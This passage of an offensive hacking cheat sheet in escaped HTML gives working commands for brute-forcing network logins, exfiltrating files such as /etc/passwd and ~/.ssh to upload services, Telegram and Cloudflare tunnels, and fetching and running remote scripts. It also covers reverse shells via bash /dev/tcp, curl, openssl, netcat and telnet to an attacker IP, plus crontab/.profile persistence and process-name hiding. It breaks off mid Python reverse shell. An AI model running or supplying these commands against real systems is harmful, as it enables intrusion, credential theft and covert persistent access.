smb-brute &quot;$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## Telnet\nnmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s &quot;$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## VNC\nnmap -p5900 --script vnc-brute &quot;$T&quot;\nncrack -P &quot;${PLIST}&quot; --user root &quot;vnc:\/\/$T&quot;\nhydra -P &quot;${PLIST}&quot; &quot;vnc:\/\/$T&quot;\nmedusa -P &quot;${PLIST}&quot; &ndash;u root &ndash;M vnc -h &quot;$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## VNC (with metasploit)\nmsfconsole\nuse auxiliary\/scanner\/vnc\/vnc_login\nset rhosts 192.168.0.1\nset pass_file \/usr\/share\/wordlists\/seclists\/Passwords\/500-worst-passwords.txt\nrun<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## HTML basic auth\necho admin &gt;user.txt                     # Try only 1 username\necho -e &quot;blah\\naaddd\\nfoobar&quot; &gt;pass.txt  # Add some passwords to try. &#039;aaddd&#039; is the valid one.\nnmap -p80 --script http-brute --script-args \\\n   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=\/lab\/webapp\/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \\\n   pentesteracademylab.appspot.com<\/code><\/pre>\n<hr \/>\n<p><a id=\"exfil\"><\/a><\/p>\n<h2>4. Data Upload\/Download\/Exfil<\/h2>\n<p><a id=\"file-encoding\"><\/a><\/p>\n<h3>4.i File Encoding<\/h3>\n<p>Trick to transfer a file to the target when the target does not have access to the Internet: Convert the binary file into ASCII-text (base64) and then use cut &amp; paste. (Alternatively use gs-netcat&#8217;s elite console with <code>Ctrl-e c<\/code> to transfer file over the same TCP connection.)<\/p>\n<p>Use <code>xclip<\/code> (on your workstation) to pipe the encoded data straight into your clipboard:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">base64 -w0 &lt;\/etc\/issue.net | xclip<\/code><\/pre>\n<h4>&gt;&gt;&gt; UU encode\/decode<\/h4>\n<pre><code class=\"lang-sh language-sh sh\">## uuencode \nuuencode \/etc\/issue.net issue.net-COPY<\/code><\/pre>\n<details>\n\n<summary>Output &#8211; CLICK HERE<\/summary>\n\n&gt; begin 644 issue.net-COPY  \n&gt; 72V%L:2!&#8217;3E4O3&amp;EN=7@@4F]L;&amp;EN9PH\\`  \n&gt; `  \n&gt; end\n<\/details>\n<pre><code class=\"lang-sh language-sh sh\">## uudecode (cut &amp; paste the 3 lines from above):\nuudecode<\/code><\/pre>\n<h4>&gt;&gt;&gt; base64 encode\/decode<\/h4>\n<pre><code class=\"lang-sh language-sh sh\">base64 -w0 &lt;\/etc\/issue.net <\/code><\/pre>\n<details>\n\n<summary>Output &#8211; CLICK HERE<\/summary>\n\n&gt; VWJ1bnR1IDE4LjA0LjIgTFRTCg==\n<\/details>\n<pre><code class=\"lang-sh language-sh sh\">base64 -d &gt;issue.net-COPY<\/code><\/pre>\n<h4>&gt;&gt;&gt; Openssl encode\/decode<\/h4>\n<pre><code class=\"lang-sh language-sh sh\">openssl base64 &lt;\/etc\/issue.net <\/code><\/pre>\n<details>\n\n<summary>Output &#8211; CLICK HERE<\/summary>\n\n&gt; VWJ1bnR1IDE4LjA0LjIgTFRTCg==\n<\/details>\n<pre><code class=\"lang-sh language-sh sh\">openssl base64 -d &gt;issue.net-COPY<\/code><\/pre>\n<h4>&gt;&gt;&gt; xxd encode\/decode<\/h4>\n<pre><code class=\"lang-sh language-sh sh\">xxd -p &lt;\/etc\/issue.net<\/code><\/pre>\n<details>\n\n<summary>Output &#8211; CLICK HERE<\/summary>\n\n&gt; 4b616c6920474e552f4c696e757820526f6c6c696e670a\n<\/details>\n<pre><code class=\"lang-sh language-sh sh\">xxd -p -r &gt;issue.net-COPY<\/code><\/pre>\n<hr \/>\n<p><a id=\"cut-paste\"><\/a><\/p>\n<h3>4.ii. File transfer &#8211; using cut &amp; paste<\/h3>\n<p>Paste into a file on the remote machine (note the <code>&lt;&lt;-&#039;__EOF__&#039;<\/code> to not mess with tabs or $-variables).<\/p>\n<pre><code class=\"lang-sh language-sh sh\">cat &gt;output.txt &lt;&lt;-&#039;__EOF__&#039;\n[...]\n__EOF__  ### Finish your cut &amp; paste by typing __EOF__<\/code><\/pre>\n<hr \/>\n<p><a id=\"xfer-tmux\"><\/a><\/p>\n<h3>4.iii. File transfer &#8211; using <em>tmux<\/em><\/h3>\n<p>Start <code>tmux<\/code> on your workstation. Connect to your target by any means you like (ssh, gs-netcat, &#8230;).<\/p>\n<h4>From REMOTE to LOCAL (download)<\/h4>\n<p>Use <a href=\"#tmux\">Tmux-Logging<\/a> to download large files from the target via the terminal to your workstation.<\/p>\n<h4>From LOCAL to REMOTE (upload)<\/h4>\n<p>Start your favorite decoding tool (base64) on the REMOTE:<\/p>\n<pre><code class=\"lang-shell language-shell shell\"># Use &#039;Ctrl-b $&#039; to rename this tmux session to &#039;foo&#039;\nbase64 -d &gt;screen-xfer.txt<\/code><\/pre>\n<p>On your workstation, and from a different terminal, send base64-encoded data. It will arrive on your REMOTE in <code>screen-xfer.txt<\/code>.<\/p>\n<pre><code class=\"lang-shell language-shell shell\">tmux send-keys -t foo &quot;$(base64 -w64 &lt;\/etc\/issue.net)&quot;$&#039;\\n&#039;\n# Press &#039;Ctrl-d&#039; in the receiving terminal.\n# Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.\n# Optional: Use &#039;Ctrl-b ,&#039; to rename the window<\/code><\/pre>\n<hr \/>\n<p><a id=\"file-transfer-screen\"><\/a><\/p>\n<h3>4.vi. File transfer &#8211; using <em>screen<\/em><\/h3>\n<h4>From REMOTE to LOCAL (download)<\/h4>\n<p>Have a <em>screen<\/em> running on your local computer and log into the remote system from within your shell. Instruct your local screen to log all output to screen-xfer.txt:<\/p>\n<blockquote>\n<p>CTRL-a : logfile screen-xfer.txt<\/p>\n<p>CTRL-a H<\/p>\n<\/blockquote>\n<p>We use <em>openssl<\/em> to encode our data but any of the above encoding methods works. This command will display the base64 encoded data in the terminal and <em>screen<\/em> will write this data to <em>screen-xfer.txt<\/em>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">## On the remote system encode issue.net\nopenssl base64 &lt;\/etc\/issue.net<\/code><\/pre>\n<p>Stop your local screen from logging any further data:<\/p>\n<blockquote>\n<p>CTRL-a H <\/p>\n<\/blockquote>\n<p>On your local computer decode the file:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">openssl base64 -d &lt;screen-xfer.txt\nrm -rf screen-xfer.txt<\/code><\/pre>\n<h4>From LOCAL to REMOTE (upload)<\/h4>\n<p>On your local system encode the data:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">openssl base64 &lt;\/etc\/issue.net &gt;screen-xfer.txt<\/code><\/pre>\n<p>On the remote system (and from within the current <em>screen<\/em>):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">openssl base64 -d<\/code><\/pre>\n<p>Get <em>screen<\/em> to slurp the base64 encoded data into screen&#8217;s clipboard and paste the data from the clipboard to the remote system:<\/p>\n<blockquote>\n<p>CTRL-a : readbuf screen-xfer.txt<\/p>\n<p>CTRL-a : paste .<\/p>\n<p>CTRL-d<\/p>\n<p>CTRL-d<\/p>\n<\/blockquote>\n<p>Note: Two CTRL-d are required due to a <a href=\"https:\/\/github.com\/openssl\/openssl\/issues\/9355\">bug in openssl<\/a>.<\/p>\n<hr \/>\n<p><a id=\"file-transfer-gs-netcat\"><\/a><\/p>\n<h3>4.v. File transfer &#8211; using gs-netcat and sftp<\/h3>\n<p>Use <a href=\"https:\/\/github.com\/hackerschoice\/gsocket\">gs-netcat<\/a> and encapsulate the sftp protocol within. Allows access to hosts behind NAT\/Firewall.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">gs-netcat -s MySecret -l -e \/usr\/lib\/sftp-server         # Host behind NAT\/Firewall<\/code><\/pre>\n<p>From your workstation execute this command to connect to the SFTP server:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">export GSOCKET_ARGS=&quot;-s MySecret&quot;                        # Workstation\nsftp -D gs-netcat                                        # Workstation<\/code><\/pre>\n<p>Or to DUMP a single file:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># On the sender\ngs-netcat -l &lt;&quot;FILENAME&quot; # Will output a SECRET used by the receiver\n\n# On the receiver\ngs-netcat &gt;&quot;FILENAME&quot;  # When prompted, enter the SECRET from the sender<\/code><\/pre>\n<hr \/>\n<p><a id=\"http\"><\/a><\/p>\n<h3>4.vi. File transfer &#8211; using HTTPs<\/h3>\n<h4>Download from Server to Receiver:<\/h4>\n<p>On the Sender\/Server:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">## Spawn a temporary HTTP server and share the current working directory.\npython -m http.server 8080 --bind 127.0.0.1 &amp;\n# alternative: php -S 127.0.0.1:8080\ncloudflared tunnel -url localhost:8080<\/code><\/pre>\n<p>Receiver: Access the URL from any browser to view\/download the remote file system.<\/p>\n<h4>1 &#8211; Upload using PHP:<\/h4>\n<p>On the Receiver:<\/p>\n<pre><code class=\"lang-posh language-posh posh\">curl -fsSL -o upload_server.php https:\/\/github.com\/hackerschoice\/thc-tips-tricks-hacks-cheat-sheet\/raw\/master\/tools\/upload_server.php\nmkdir upload\n(cd upload; php -S 127.0.0.1:8080 ..\/upload_server.php &amp;&gt;\/dev\/null &amp;)\ncloudflared tunnel --url localhost:8080 --no-autoupdate<\/code><\/pre>\n<p>On the Sender:<\/p>\n<pre><code class=\"lang-posh language-posh posh\"># Set a function:\nup() { curl -fsSL -F &quot;file=@${1:?}&quot; https:\/\/ABOVE-URL-HERE.trycloudflare.com; }\n# upload files like so:\nup warez.tar.gz\nup \/etc\/passwd<\/code><\/pre>\n<h4>2 &#8211; Upload using PYTHON:<\/h4>\n<p>On the Receiver:<\/p>\n<pre><code class=\"lang-posh language-posh posh\">pip install uploadserver\npython -m uploadserver &amp;\ncloudflared tunnel -url localhost:8000<\/code><\/pre>\n<p>On the Sender:<\/p>\n<pre><code class=\"lang-posh language-posh posh\">curl -X POST  https:\/\/CF-URL-CHANGE-ME.trycloudflare.com\/upload -F &#039;files=@myfile.txt&#039;<\/code><\/pre>\n<hr \/>\n<p><a id=\"download\"><\/a><\/p>\n<h3>4.vii. File download without curl<\/h3>\n<p>Using Python, download only:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Declare a curl-alternative\npurl() {\n    local url=&quot;${1:?}&quot;\n    { [[ &quot;${url:0:8}&quot; == &quot;https:\/\/&quot; ]] || [[ &quot;${url:0:7}&quot; == &quot;http:\/\/&quot; ]]; } || url=&quot;https:\/\/${url}&quot;\n    &quot;$(which python3 || which python || which python2 || which false)&quot; -c &quot;\\\nimport urllib.request\nimport sys\nimport ssl\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\nsys.stdout.buffer.write(urllib.request.urlopen(\\&quot;$url\\&quot;, timeout=10, context=ctx).read())&quot;\n}\n# purl ipinfo.io<\/code><\/pre>\n<p>Example: Installing gsocket with purl:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># cut &amp; paste the above purl() function into your bash. Then cut &amp; paste the following:\nsource &lt;(purl https:\/\/raw.githubusercontent.com\/hackerschoice\/hackshell\/main\/hackshell.sh) \\\n&amp;&amp; bin curl \\\n&amp;&amp; bash -c &quot;$(curl -fsSL https:\/\/gsocket.io\/y)&quot; \\\n&amp;&amp; xdestruct<\/code><\/pre>\n<p>Using OpenSSL, download only:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">surl() {\n    local r=&quot;${1#*:\/\/}&quot;\n    local opts=(&quot;-quiet&quot; &quot;-ign_eof&quot;)\n    IFS=\/ read -r host query &lt;&lt;&lt;&quot;${r}&quot;\n    openssl s_client --help 2&gt;&amp;1| grep -qFm1 -- -ignore_unexpected_eof &amp;&amp; opts+=(&quot;-ignore_unexpected_eof&quot;)\n    openssl s_client --help 2&gt;&amp;1| grep -qFm1 -- -verify_quiet &amp;&amp; opts+=(&quot;-verify_quiet&quot;)\n    echo -en &quot;GET \/${query} HTTP\/1.0\\r\\nHost: ${host%%:*}\\r\\n\\r\\n&quot; \\\n    | openssl s_client &quot;${opts[@]}&quot; -connect &quot;${host%%:*}:443&quot; \\\n    | sed &#039;1,\/^\\r\\{0,1\\}$\/d&#039;\n}\n# surl ipinfo.io<\/code><\/pre>\n<p>using Perl, download only:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">lurl() {\n    local url=&quot;${1:?}&quot;\n    { [[ &quot;${url:0:8}&quot; == &quot;https:\/\/&quot; ]] || [[ &quot;${url:0:7}&quot; == &quot;http:\/\/&quot; ]]; } || url=&quot;https:\/\/${url}&quot;\n    perl -e &#039;use LWP::Simple qw(get);\nmy $url = &#039;&quot;&#039;${1:?}&#039;&quot;&#039;;\nprint(get $url);&#039;\n}\n# lurl ipinfo.io<\/code><\/pre>\n<p>Using bash, download only:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">burl() {\n    IFS=\/ read -r proto x host query &lt;&lt;&lt;&quot;$1&quot;\n    exec 3&lt;&gt;&quot;\/dev\/tcp\/${host}\/${PORT:-80}&quot;\n    echo -en &quot;GET \/${query} HTTP\/1.0\\r\\nHost: ${host}\\r\\n\\r\\n&quot; &gt;&amp;3\n    (while read -r l; do echo &gt;&amp;2 &quot;$l&quot;; [[ $l == $&#039;\\r&#039; ]] &amp;&amp; break; done &amp;&amp; cat ) &lt;&amp;3\n    exec 3&gt;&amp;-\n}\n# burl http:\/\/ipinfo.io\n# PORT=31337 burl http:\/\/37.120.235.188\/blah.tar.gz &gt;blah.tar.gz<\/code><\/pre>\n<hr \/>\n<p><a id=\"trans\"><\/a><\/p>\n<h3>4.viii. File transfer using a public dump<\/h3>\n<p>Cut &amp; paste into your bash:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">transfer() {\n    [[ $# -eq 0 ]] &amp;&amp; { echo -e &gt;&amp;2 &quot;Usage:\\n    transfer [file\/directory]\\n    transfer [name] &lt;FILENAME&quot;; return 255; }\n    [[ ! -t 0 ]] &amp;&amp; { curl -SsfL --progress-bar -T &quot;-&quot; &quot;https:\/\/transfer.sh\/${1}&quot;; return; }\n    [[ ! -e &quot;$1&quot; ]] &amp;&amp; { echo -e &gt;&amp;2 &quot;Not found: $1&quot;; return 255; }\n    [[ -d &quot;$1&quot; ]] &amp;&amp; { (cd &quot;${1}\/..&quot;; tar cfz - &quot;${1##*\/}&quot;)|curl -SsfL --progress-bar -T &quot;-&quot; &quot;https:\/\/transfer.sh\/${1##*\/}.tar.gz&quot;; return; }\n    curl -SsfL --progress-bar -T &quot;$1&quot; &quot;https:\/\/transfer.sh\/${1##*\/}&quot;\n}<\/code><\/pre>\n<p>then upload a file or a directory:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">transfer \/etc\/passwd  # A single file\ntransfer ~\/.ssh       # An entire directory\n(curl ipinfo.io; hostname; uname -a; cat \/proc\/cpuinfo) | transfer &quot;$(hostname)&quot;<\/code><\/pre>\n<p>A list of our <a href=\"#cloudexfil\">favorite public upload sites<\/a>.<\/p>\n<hr \/>\n<p><a id=\"rsync\"><\/a><\/p>\n<h3>4.ix. File transfer &#8211; using rsync<\/h3>\n<p>Ideal for synchronizing large amount of directories or re-starting broken transfers. The example transfers the directory &#8216;<em>warez<\/em>&#8216; to the Receiver using a single TCP connection from the Sender to the Receiver.<\/p>\n<p>Receiver:<\/p>\n<pre><code class=\"lang-posh language-posh posh\">echo -e &quot;[up]\\npath=upload\\nread only=false\\nuid=$(id -u)\\ngid=$(id -g)&quot; &gt;r.conf\nmkdir upload\nrsync --daemon --port=31337 --config=r.conf --no-detach<\/code><\/pre>\n<p>Sender:<\/p>\n<pre><code class=\"lang-posh language-posh posh\">rsync -av warez rsync:\/\/1.2.3.4:31337\/up<\/code><\/pre>\n<p>The same encrypted (OpenSSL):<\/p>\n<p>Receiver:<\/p>\n<pre><code class=\"lang-posh language-posh posh\"># use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)\nopenssl req -subj &#039;\/CN=example.com\/O=EL\/C=XX&#039; -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt\ncat ssl.key ssl.crt &gt;ssl.pem\nrm -f ssl.key ssl.crt\nmkdir upload\ncat ssl.pem\nsocat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:&quot;rsync --server -logtprR --safe-links --partial upload&quot;<\/code><\/pre>\n<p>Sender:<\/p>\n<pre><code class=\"lang-posh language-posh posh\"># Copy the ssl.pem from the Receiver to the Sender and send directory named &#039;warez&#039;\nIP=1.2.3.4\nPORT=31337\n# Using rsync + socat-ssl\nup1() {\n   rsync -ahPRv -e &quot;bash -c &#039;socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0&#039; #&quot; -- &quot;$@&quot;  0:\n}\n# Using rsync + openssl\nup2() {\n   rsync -ahPRv -e &quot;bash -c &#039;openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2&gt;\/dev\/null&#039; #&quot; -- &quot;$@&quot;  0:\n}\nup1 \/var\/www\/.\/warez\nup2 \/var\/www\/.\/warez<\/code><\/pre>\n<p>Rsync can be combined to exfil via <a href=\"https:\/\/iq.thc.org\/tunnel-via-cloudflare-to-any-tcp-service\">https \/ cloudflared raw TCP tunnels<\/a>.<br \/>\n(To exfil from Windows, use the rsync.exe from the <a href=\"https:\/\/github.com\/hackerschoice\/binary\/raw\/main\/gsocket\/bin\/gs-netcat_x86_64-cygwin_full.zip\">gsocket windows package<\/a>). A noisier solution is <a href=\"https:\/\/syncthing.net\/\">syncthing<\/a>.<\/p>\n<p>Pro Tip: Lazy hackers just type <code>exfil<\/code> on segfault.net.<\/p>\n<hr \/>\n<p><a id=\"webdav\"><\/a><\/p>\n<h3>4.x. File transfer &#8211; using WebDAV<\/h3>\n<p>On the receiver (e.g. segfault.net) start a Cloudflare-Tunnel and WebDAV:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">cloudflared tunnel --url localhost:8080 &amp;\n# [...]\n# +--------------------------------------------------------------------------------------------+\n# |  Your quick Tunnel has been created! Visit it at (it may take some time to be reachable):  |\n# |  https:\/\/example-foo-bar-lights.trycloudflare.com                                          |\n# +--------------------------------------------------------------------------------------------+\n# [...]\nwsgidav --port=8080 --root=.  --auth=anonymous<\/code><\/pre>\n<p>On another server:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Upload a file to your workstation\ncurl -T file.dat https:\/\/example-foo-bar-lights.trycloudflare.com\n# Create a directory remotely\ncurl -X MKCOL https:\/\/example-foo-bar-lights.trycloudflare.com\/sources\n# Create a directory hierarchy remotely\nfind . -type d | xargs -I{} curl -X MKCOL https:\/\/example-foo-bar-lights.trycloudflare.com\/sources\/{}\n# Upload all *.c files (in parallel):\nfind . -name &#039;*.c&#039; | xargs -P10 -I{} curl -T{} https:\/\/example-foo-bar-lights.trycloudflare.com\/sources\/{}<\/code><\/pre>\n<p>Access the share from Windows (to drag &amp; drop files) in File Explorer:<\/p>\n<pre><code>\\\\example-foo-bar-lights.trycloudflare.com@SSL\\sources<\/code><\/pre>\n<p>Or mount the WebDAV share on Windows (Z:\/):<\/p>\n<pre><code>net use * \\\\example-foo-bar-lights.trycloudflare.com@SSL\\sources<\/code><\/pre>\n<hr \/>\n<p><a id=\"tg\"><\/a><\/p>\n<h3>4.xi. File transfer to Telegram<\/h3>\n<p>There are <a href=\"#cloudexfil\">zillions of upload services<\/a> but TG is a neat alternative. Get a <em>TG-Bot-Token<\/em> from the <a href=\"https:\/\/www.siteguarding.com\/en\/how-to-get-telegram-bot-api-token\">TG BotFather<\/a>. Then create a new TG group and add your bot to the group. Retrieve the _chat<em>id<\/em> of that group:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -s &quot;https:\/\/api.telegram.org\/bot&lt;TG-BOT-TOKEN&gt;\/getUpdates&quot; | jq -r &#039;.result[].message.chat.id&#039; | uniq\n# If you get only {&quot;ok&quot;:true,&quot;result&quot;:[]} then remove and add the bot again.<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># Upload file.zip straight into the group chat:\ncurl -sF document=@file.zip &quot;https:\/\/api.telegram.org\/bot&lt;TG-BOT-TOKEN&gt;\/sendDocument?chat_id=&lt;TG-CHAT-ID&gt;&quot;<\/code><\/pre>\n<hr \/>\n<p><a id=\"reverse-shell\"><\/a><\/p>\n<h2>5. Reverse Shell \/ Dumb Shell<\/h2>\n<p>Tip: Use <a href=\"https:\/\/www.revshells.com\/\">https:\/\/www.revshells.com\/<\/a> \ud83d\udc4c<\/p>\n<p><a id=\"reverse-shell-gs-netcat\"><\/a>\n<strong>5.i.a. Reverse shell with gs-netcat (encrypted)<\/strong><\/p>\n<p>See <a href=\"#backdoor\">6. Backdoors<\/a> for a 1-liner to deploy and access a fully functioning PTY reverse shell using <a href=\"https:\/\/gsocket.io\/deploy\">https:\/\/gsocket.io\/deploy<\/a>.<\/p>\n<p><a id=\"reverse-shell-bash\"><\/a>\n<strong>5.i.b. Reverse shell with Bash<\/strong><\/p>\n<p>Start netcat to listen on port 1524 on your system:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">nc -nvlp 1524<\/code><\/pre>\n<p>After connection, <a href=\"#reverse-shell-interactive\">upgrade<\/a> your shell to a fully interactive PTY shell. Alternatively use <a href=\"https:\/\/pwncat.org\/\">pwncat-cs<\/a> instead of netcat:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">pwncat -lp 1524\n# Press &quot;Ctrl-C&quot; if pwncat gets stuck at &quot;registered new host ...&quot;.\n# Then type &quot;back&quot; to get the prompt of the remote shell.<\/code><\/pre>\n<p>On the remote system, this command will connect back to your system (IP = 3.13.3.7, Port 1524) and give you a shell prompt:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># If the current shell is Bash already:\n(bash -i &amp;&gt;\/dev\/tcp\/3.13.3.7\/1524 0&gt;&amp;1 &amp;) \n# If the current shell is NOT Bash then we need:\nbash -c &#039;(exec bash -i &amp;&gt;\/dev\/tcp\/3.13.3.7\/1524 0&gt;&amp;1 &amp;)&#039;\n# or hide the bash process as &#039;kqueue&#039;\nbash -c &#039;(exec -a kqueue bash -i &amp;&gt;\/dev\/tcp\/3.13.3.7\/1524 0&gt;&amp;1 &amp;)&#039;<\/code><\/pre>\n<p>Alternatively, on the remote system, put this into the <code>~\/.profile<\/code> or crontab to re-start the connect-back shell (and also stiops multiple intances from being started):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">fuser \/dev\/shm\/.busy &amp;&gt;\/dev\/null || (bash -c &#039;while :; do touch \/dev\/shm\/.busy; exec 3&lt;\/dev\/shm\/.busy; bash -i &amp;&gt;\/dev\/tcp\/3.13.3.7\/1524 0&gt;&amp;1; sleep 360; done&#039; &amp;&gt;\/dev\/null &amp;)<\/code><\/pre>\n<p><a id=\"curlshell\"><\/a>\n<strong>5.i.c. Reverse shell with cURL (encrypted)<\/strong><\/p>\n<p>Use <a href=\"https:\/\/github.com\/SkyperTHC\/curlshell\">curlshell<\/a>. This also works through proxies and when direct TCP connection to the outside world is prohibited:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># On YOUR workstation\n# Generate SSL keys:\nopenssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj &quot;\/CN=THC&quot;\n# Start your listening server:\n.\/curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># On the target:\ncurl -skfL https:\/\/3.13.3.7:8080 | bash<\/code><\/pre>\n<p><a id=\"curltelnet\"><\/a>\n<strong>5.i.d Reverse shell with cURL (cleartext)<\/strong><\/p>\n<p>Start ncat to listen for multiple connections:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ncat -kltv 1524<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># On the target:\nC=&quot;curl -Ns telnet:\/\/3.13.3.7:1524&quot;; $C &lt;\/dev\/null 2&gt;&amp;1 | sh 2&gt;&amp;1 | $C &gt;\/dev\/null<\/code><\/pre>\n<p><a id=\"sslshell\"><\/a>\n<strong>5.i.e. Reverse shell with OpenSSL (encrypted)<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\"># On YOUR workstation:\n# Generate SSL keys:\nopenssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj &quot;\/CN=THC&quot;\n# Start your listening server:\nopenssl s_server -port 1524 -cert cert.pem -key key.pem\n# Or pwncat:\n# pwncat -lp 1524 --ssl<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># On the target, start an openssl reverse shell as background process:\n({ openssl s_client -connect 3.13.3.7:1524 -quiet &lt;\/dev\/fd\/3 3&gt;&amp;- 2&gt;\/dev\/null | sh 2&gt;&amp;3 &gt;&amp;3 3&gt;&amp;- ; } 3&gt;&amp;1 | : &amp; )<\/code><\/pre>\n<p><a id=\"reverse-shell-no-bash\"><\/a>\n<strong>5.i.f. Reverse shell without \/dev\/tcp<\/strong><\/p>\n<p>Embedded systems do not always have Bash and the <em>\/dev\/tcp\/<\/em> trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet:<\/p>\n<p>On the remote system:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">nc -e \/bin\/sh -vn 3.13.3.7 1524<\/code><\/pre>\n<p>Variant if <em>&#8216;-e&#8217;<\/em> is not supported:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">{ nc -vn 3.13.3.7 1524 &lt;\/dev\/fd\/3 3&gt;&amp;- | sh 2&gt;&amp;3 &gt;&amp;3 3&gt;&amp;- ; } 3&gt;&amp;1 | :<\/code><\/pre>\n<ul>\n<li>On modern shells this can be shortened to <code>{ nc 3.13.3.7 1524 &lt;\/dev\/fd\/2|sh;} 2&gt;&amp;1|:<\/code>. (<em>thanks IA_PD<\/em>).  <\/li>\n<li>The <code>| :<\/code> trick won&#8217;t work on C-Shell\/tcsh (FreeBSD), original Bourne shell (Solaris) or Korn shell (AIX). Use <code>mkfifo<\/code> instead.<\/li>\n<\/ul>\n<p>Variant for older <em>\/bin\/sh<\/em>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">mkfifo \/tmp\/.io; sh -i 2&gt;&amp;1 &lt;\/tmp\/.io | nc -vn 3.13.3.7 1524 &gt;\/tmp\/.io<\/code><\/pre>\n<p>Telnet variant:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">mkfifo \/tmp\/.io; sh -i 2&gt;&amp;1 &lt;\/tmp\/.io | telnet 3.13.3.7 1524 &gt;\/tmp\/.io<\/code><\/pre>\n<p>Telnet variant when mkfifo is not supported (Ulg!):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">touch \/tmp\/.fio; tail -f \/tmp\/.fio | sh -i | telnet 3.13.3.7 31337 &gt;\/tmp\/.fio<\/code><\/pre>\n<p>Note: Dont forget to <code>rm \/tmp\/.fio<\/code> after login.<\/p>\n<p><a id=\"revese-shell-remote-moe\"><\/a>\n<strong>5.i.h. Reverse shell with remote.moe and ssh (encrypted)<\/strong><\/p>\n<p>It is possible to tunnel raw TCP (e.g bash reverse shell) through <a href=\"https:\/\/remote.moe\">remote.moe<\/a>:<\/p>\n<p>On your workstation:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># First Terminal - Create a remote.moe tunnel to your workstation\nssh-keygen -q -t rsa -N &quot;&quot; -f .r  # New key creates a new remote.moe-address\nssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no nokey@remote.moe; rm -f .r\n# Note down the &#039;remote.moe&#039; address which will look something like\n# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe\n\n# Second Terminal - start listening for the reverse shell\nnc -vnlp 8080<\/code><\/pre>\n<p>On the target(needs SSH and Bash):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">bash -c &#039;(killall ssh; rm -f \/tmp\/.r; ssh-keygen -q -t rsa -N &quot;&quot; -f \/tmp\/.r; ssh -i \/tmp\/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe;  bash -i &amp;&gt;\/dev\/tcp\/0\/31338 0&gt;&amp;1 &amp;)&#039;<\/code><\/pre>\n<p>On the target (alternative; needs ssh, bash and mkfifo):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">rm -f \/tmp\/.p \/tmp\/.r; ssh-keygen -q -t rsa -N &quot;&quot; -f \/tmp\/.r &amp;&amp; mkfifo \/tmp\/.p &amp;&amp; (bash -i&lt;\/tmp\/.p  2&gt;1 |ssh -i \/tmp\/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe&gt;\/tmp\/.p &amp;)<\/code><\/pre>\n<p><a id=\"reverse-shell-python\"><\/a>\n<strong>5.i.i. Reverse shell with Python<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\">python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;3.13.3.7&quot;,1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 